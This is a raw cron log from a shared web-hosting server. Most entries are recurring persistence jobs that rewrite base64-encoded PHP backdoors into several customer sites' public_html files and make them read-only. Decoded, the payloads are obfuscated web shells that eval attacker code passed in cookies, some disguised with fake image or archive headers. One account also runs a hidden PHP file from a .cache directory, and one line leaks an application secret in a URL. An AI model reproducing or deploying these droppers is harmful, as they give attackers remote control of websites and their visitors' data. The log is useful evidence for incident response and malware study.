kX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:53:01 medusa CROND[31369]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:53:01 medusa CROND[31371]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:53:01 medusa CROND[31373]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:53:01 medusa CROND[31374]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:53:01 medusa CROND[31376]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:53:01 medusa CROND[31368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:54:01 medusa CROND[5548]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:54:01 medusa CROND[5549]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:54:01 medusa CROND[5550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:54:01 medusa CROND[5551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:54:01 medusa CROND[5552]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:54:01 medusa CROND[5554]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:54:01 medusa CROND[5559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:54:01 medusa CROND[5560]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:54:01 medusa CROND[5561]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:54:01 medusa CROND[5563]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:54:01 medusa CROND[5562]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:54:01 medusa CROND[5564]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:54:01 medusa CROND[5565]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:55:01 medusa CROND[13498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:55:01 medusa CROND[13509]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:55:01 medusa CROND[13575]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:55:01 medusa CROND[13746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:55:01 medusa CROND[13751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:55:01 medusa CROND[13753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:55:01 medusa CROND[13752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:55:01 medusa CROND[13757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:55:01 medusa CROND[13756]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
